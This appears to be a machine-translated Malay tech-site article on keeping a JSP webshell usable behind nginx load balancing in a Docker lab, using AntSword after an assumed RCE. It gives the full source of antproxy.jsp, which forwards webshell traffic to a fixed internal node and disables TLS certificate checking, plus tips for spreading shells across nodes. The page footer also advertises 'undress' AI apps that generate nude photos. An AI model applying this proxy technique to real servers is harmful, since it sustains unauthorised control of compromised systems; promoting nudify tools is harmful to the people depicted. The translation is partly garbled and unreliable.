Jadual Kandungan
Penerangan senario
persekitaran
Rumah Operasi dan penyelenggaraan Nginx Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

May 16, 2023 am 08:16 AM
nginx webshell

Penerangan senario

Anggapkan bahawa dalam persekitaran pengeluaran sebenar, terdapat kerentanan RCE, yang membolehkan kami mendapatkan pemasangan WebShell

persekitaran

Tarik pertama kelemahan pada GetHub Sebelum memasang imej, anda perlu memasang nginx dan tomcat pada centos terlebih dahulu dan mengkonfigurasi fail konfigurasi yang berkaitan dengan nginx dan tomcat Kemudian gunakan docker untuk menurunkan imej untuk menghasilkan semula kelemahan.

1. Sediakan persekitaran docker dahulu

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

2. Uji sama ada tomcat boleh mengakses

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Seperti yang dapat dilihat daripada gambar di atas, tomcat bahagian belakang boleh diakses

3 Periksa pengimbangan beban proksi terbalik nginx dalam docker

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

4. Lihat fail ant.jsp dalam lbsnode1 dalam docker

Fail ini boleh difahami sebagai Trojan satu ayat, dan fail yang sama juga wujud dalam lbsnode2

lbsnode1:

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

lbsnode2:

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

5 Sambungkan fail ant.jsp melalui Pedang Semut Cina

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx<.>

Oleh kerana ant.jsp wujud di lokasi yang sama pada kedua-dua nod, tidak terkecuali apabila menyambung

Proses pembiakan

Masalah sedia ada

Soalan 1: Memandangkan proksi terbalik yang digunakan oleh nginx ialah kaedah tinjauan pendapat, fail yang dimuat naik mesti dimuat naik ke lokasi yang sama pada dua pelayan bahagian belakang

Oleh kerana kami adalah proksi terbalik Pengimbangan beban bermaksud memuat naik fail. Satu pelayan belakang mempunyai fail yang kami muat naik, tetapi pelayan lain tidak mempunyai fail yang kami muat naik Hasilnya ialah apabila tiada fail pada satu pelayan, maka giliran permintaan itu , ralat 404 akan dilaporkan, yang akan menjejaskan penggunaan Ini adalah sebab mengapa ia akan kelihatan normal untuk seketika dan ralat akan muncul untuk seketika.

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Penyelesaian:

Kami perlu memuat naik WebShell dengan kandungan yang sama di lokasi yang sama pada setiap nod, supaya tidak kira nod mana yang ditinjau. pelayan bahagian belakang boleh diakses dari mana-mana pelayan. Untuk mencapai fail yang dimuat naik pada setiap pelayan bahagian belakang, anda perlu memuat naiknya seperti orang gila.

Masalah 2: Apabila kami melaksanakan arahan, kami tidak dapat mengetahui mesin mana permintaan seterusnya akan diserahkan untuk dilaksanakan

Kami sedang melaksanakan nama hos -i untuk melihat mesin pelaksanaan semasa Anda dapat melihat bahawa alamat IP telah hanyut

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Masalah 3: Apabila kita perlu memuat naik beberapa alat yang lebih besar, ia akan menyebabkan alatan menjadi Situasi tidak boleh digunakan

Apabila kami memuat naik fail yang lebih besar, AntSword menggunakan kaedah muat naik berbilang bahagian semasa memuat naik fail, membahagikan fail kepada berbilang permintaan HTTP dan menghantarnya ke sasaran, mengakibatkan kerosakan fail. Sebahagian daripada kandungan berada pada pelayan A, dan fail lain berada pada pelayan B, yang menjadikan alat atau fail yang lebih besar tidak dapat dibuka atau digunakan

Soalan 4: Memandangkan hos sasaran tidak boleh mengakses rangkaian luaran , Jika anda ingin pergi lebih jauh, anda hanya boleh menggunakan HTTP Tunnel seperti reGeorg/HTTPAbs, tetapi dalam senario ini, semua skrip terowong ini gagal.

Penyelesaian

Pilihan 1: Matikan salah satu pelayan bahagian belakang

Tutup salah satu pelayan bahagian belakang sesungguhnya Ia boleh menyelesaikan empat masalah yang dinyatakan di atas, tetapi penyelesaian ini benar-benar seperti "menggantung bintang panjang umur --- bosan hidup", menjejaskan perniagaan, dan menyebabkan bencana Pas Langsung tidak akan dipertimbangkan

Penilaian komprehensif: Ia adalah. benar-benar persekitaran Jangan cuba lain kali! ! !

Pilihan 2: Tentukan sama ada hendak melaksanakan atur cara sebelum melaksanakannya

Memandangkan adalah mustahil untuk meramalkan mesin mana yang akan melaksanakannya pada masa akan datang, maka shell kami adalah Sebelum melaksanakan Muatan, nilaikan sama ada ia patut dilaksanakan atau tidak.

Buat skrip demo.sh untuk kali pertama Skrip ini adalah untuk mendapatkan alamat salah satu pelayan bahagian belakang kami Program ini akan dilaksanakan hanya apabila alamat pelayan ini sepadan alamat pelayan lain, program akan dilaksanakan Program tidak dilaksanakan.

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Muat naik fail skrip demo.sh ke dua pelayan bahagian belakang melalui China Ant Sword Kerana ia mengimbangi beban, anda perlu mengklik untuk memuat naik seperti gila

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Dengan cara ini, kita sememangnya boleh memastikan arahan yang dilaksanakan ada pada mesin yang kita mahukan, walau bagaimanapun, tiada rasa cantik dalam melaksanakan arahan seperti ini Selain itu, masalah seperti muat naik fail besar dan terowong HTTP tidak dapat diselesaikan.

Penilaian komprehensif: Penyelesaian ini hampir tidak boleh digunakan Ia hanya sesuai digunakan semasa melaksanakan arahan dan tidak cukup elegan.

Pilihan 3: ke hadapan lalu lintas HTTP dalam lapisan Web (titik utama)

Ya, kami tidak boleh mengakses IP intranet LBSNode1 secara langsung menggunakan AntSword (172.23. 0.2), tetapi seseorang boleh mengaksesnya Selain nginx, mesin LBSNode2 juga boleh mengakses port 8080 mesin Node1.

Adakah anda masih ingat pemalam "PHP Bypass Disable Function" Selepas memuatkan begitu dalam pemalam ini, kami memulakan pelayan https secara setempat, dan kemudian kami menggunakan skrip pemajuan trafik peringkat HTTP "antproxy.php ", mari kita lihat dalam senario ini:

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Mari lihat gambar ini langkah demi langkah. Matlamat kami ialah: Semua data paket boleh Hantar ke mesin "LBSNode 1"

Langkah pertama ialah, kami meminta /antproxy.jsp permintaan ini dihantar ke nginx

Selepas nginx menerima paket data, ia akan Terdapat dua situasi:

Mari lihat garis hitam dahulu Dalam langkah 2, permintaan dihantar ke mesin sasaran dan /antproxy.jsp pada mesin Node1 diminta. /antproxy.jsp menghantar permintaan Selepas penyusunan semula, ia dihantar kepada /ant.jsp pada mesin Node1 dan dilaksanakan dengan jayanya.

Lihat baris merah sekali lagi Dalam langkah 2, permintaan dihantar ke mesin Node2 Kemudian dalam langkah 3, /antproxy.jsp pada mesin Node2 menyusun semula permintaan dan menghantarnya ke /ant.jsp. daripada Node1 berjaya dilaksanakan.

1. Cipta skrip antproxy.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>
Salin selepas log masuk

2. Ubah suai alamat pemajuan dan ubah hala ke alamat akses skrip sasaran IP intranet sasaran Nod.

Nota: Bukan sahaja WebShell, malah alamat akses skrip seperti reGeorg boleh ditukar

Kami menghalakan sasaran ke ant.jsp LBSNode1

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Nota:

a) Jangan gunakan fungsi muat naik, yang akan memuat naik sekeping-keping, mengakibatkan pemecahan pada Nod yang berbeza.

b) Untuk memastikan setiap Nod mempunyai laluan yang sama ke antproxy.jsp, jadi saya menyimpannya berkali-kali untuk memastikan setiap nod memuat naik skrip

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

3 Ubah suai konfigurasi Shell, isikan bahagian URL sebagai alamat antproxy.jsp dan biarkan konfigurasi lain tidak berubah

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

4 Uji arahan pelaksanaan dan semak IP

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Anda boleh melihatnya. IP telah ditetapkan, bermakna permintaan telah ditetapkan pada mesin LBSNode1. Pada masa ini, menggunakan muat naik berbilang bahagian dan proksi HTTP tidak berbeza daripada situasi bersendirian

Kelebihan penyelesaian ini:

1 dengan kebenaran yang rendah, jika kuasanya tinggi, ia juga boleh dimajukan terus melalui peringkat pelabuhan, tetapi ini tidak berbeza dengan perkhidmatan luar tapak Pelan A

2. Dari segi trafik, ia hanya menjejaskan permintaan untuk mengakses WebShell, permintaan perniagaan biasa lain tidak akan menjejaskan.

3. Sesuaikan lebih banyak alatan

Kelemahan:

Penyelesaian ini memerlukan kebolehoperasian intranet antara "Nod Sasaran" dan "Nod Lain" , jika ada tiada kebolehoperasian, ia akan menjadi sejuk.

Atas ialah kandungan terperinci Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Tetapan grafik terbaik
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Cara Memperbaiki Audio Jika anda tidak dapat mendengar sesiapa
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Arahan sembang dan cara menggunakannya
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Bagaimana untuk memeriksa sama ada Nginx dimulakan? Bagaimana untuk memeriksa sama ada Nginx dimulakan? Apr 14, 2025 pm 12:48 PM

Di Linux, gunakan arahan berikut untuk memeriksa sama ada nginx dimulakan: Hakim status SistemCTL Nginx berdasarkan output arahan: Jika "Aktif: Aktif (Running)" dipaparkan, Nginx dimulakan. Jika "aktif: tidak aktif (mati)" dipaparkan, nginx dihentikan.

Cara Mengkonfigurasi Nginx di Windows Cara Mengkonfigurasi Nginx di Windows Apr 14, 2025 pm 12:57 PM

Bagaimana cara mengkonfigurasi nginx di Windows? Pasang Nginx dan buat konfigurasi hos maya. Ubah suai fail konfigurasi utama dan sertakan konfigurasi hos maya. Mulakan atau Muat semula Nginx. Uji konfigurasi dan lihat laman web. Selektif membolehkan SSL dan mengkonfigurasi sijil SSL. Selektif tetapkan firewall untuk membolehkan trafik port 80 dan 443.

Cara memeriksa sama ada nginx dimulakan Cara memeriksa sama ada nginx dimulakan Apr 14, 2025 pm 01:03 PM

Bagaimana untuk mengesahkan sama ada nginx dimulakan: 1. Gunakan baris arahan: status sistem sistem nginx (linux/unix), netstat -ano | Findstr 80 (Windows); 2. Periksa sama ada port 80 dibuka; 3. Semak mesej permulaan Nginx dalam log sistem; 4. Gunakan alat pihak ketiga, seperti Nagios, Zabbix, dan Icinga.

Cara memulakan nginx di linux Cara memulakan nginx di linux Apr 14, 2025 pm 12:51 PM

Langkah -langkah untuk memulakan Nginx di Linux: Periksa sama ada Nginx dipasang. Gunakan SistemCTL Mula Nginx untuk memulakan perkhidmatan Nginx. Gunakan SistemCTL Dayakan NGINX untuk membolehkan permulaan automatik Nginx pada permulaan sistem. Gunakan Status SistemCTL Nginx untuk mengesahkan bahawa permulaan berjaya. Lawati http: // localhost dalam pelayar web untuk melihat halaman selamat datang lalai.

Cara menyelesaikan nginx403 Cara menyelesaikan nginx403 Apr 14, 2025 am 10:33 AM

Bagaimana untuk memperbaiki kesilapan dilarang nginx 403? Semak keizinan fail atau direktori; 2. Semak .htaccess File; 3. Semak fail konfigurasi nginx; 4. Mulakan semula nginx. Penyebab lain yang mungkin termasuk peraturan firewall, tetapan selinux, atau isu aplikasi.

Cara memulakan pelayan nginx Cara memulakan pelayan nginx Apr 14, 2025 pm 12:27 PM

Memulakan pelayan Nginx memerlukan langkah-langkah yang berbeza mengikut sistem operasi yang berbeza: Sistem Linux/Unix: Pasang pakej Nginx (contohnya, menggunakan apt-get atau yum). Gunakan SystemCTL untuk memulakan perkhidmatan Nginx (contohnya, SUDO SystemCTL Mula Nginx). Sistem Windows: Muat turun dan pasang fail binari Windows. Mula Nginx menggunakan nginx.exe executable (contohnya, nginx.exe -c conf \ nginx.conf). Tidak kira sistem operasi yang anda gunakan, anda boleh mengakses IP pelayan

Cara menyelesaikan ralat nginx304 Cara menyelesaikan ralat nginx304 Apr 14, 2025 pm 12:45 PM

Jawab kepada Soalan: 304 Tidak diubahsuai ralat menunjukkan bahawa penyemak imbas telah cache versi sumber terkini permintaan klien. Penyelesaian: 1. Kosongkan cache penyemak imbas; 2. Lumpuhkan cache penyemak imbas; 3. Konfigurasi nginx untuk membolehkan cache pelanggan; 4. Periksa keizinan fail; 5. Semak fail hash; 6. Lumpuhkan CDN atau cache proksi terbalik; 7. Mulakan semula nginx.

Cara menyelesaikan ralat nginx403 Cara menyelesaikan ralat nginx403 Apr 14, 2025 pm 12:54 PM

Pelayan tidak mempunyai kebenaran untuk mengakses sumber yang diminta, mengakibatkan ralat NGINX 403. Penyelesaian termasuk: Periksa keizinan fail. Semak konfigurasi .htaccess. Semak konfigurasi Nginx. Konfigurasikan keizinan Selinux. Semak peraturan firewall. Menyelesaikan masalah lain seperti masalah penyemak imbas, kegagalan pelayan, atau kesilapan lain yang mungkin.

See all articles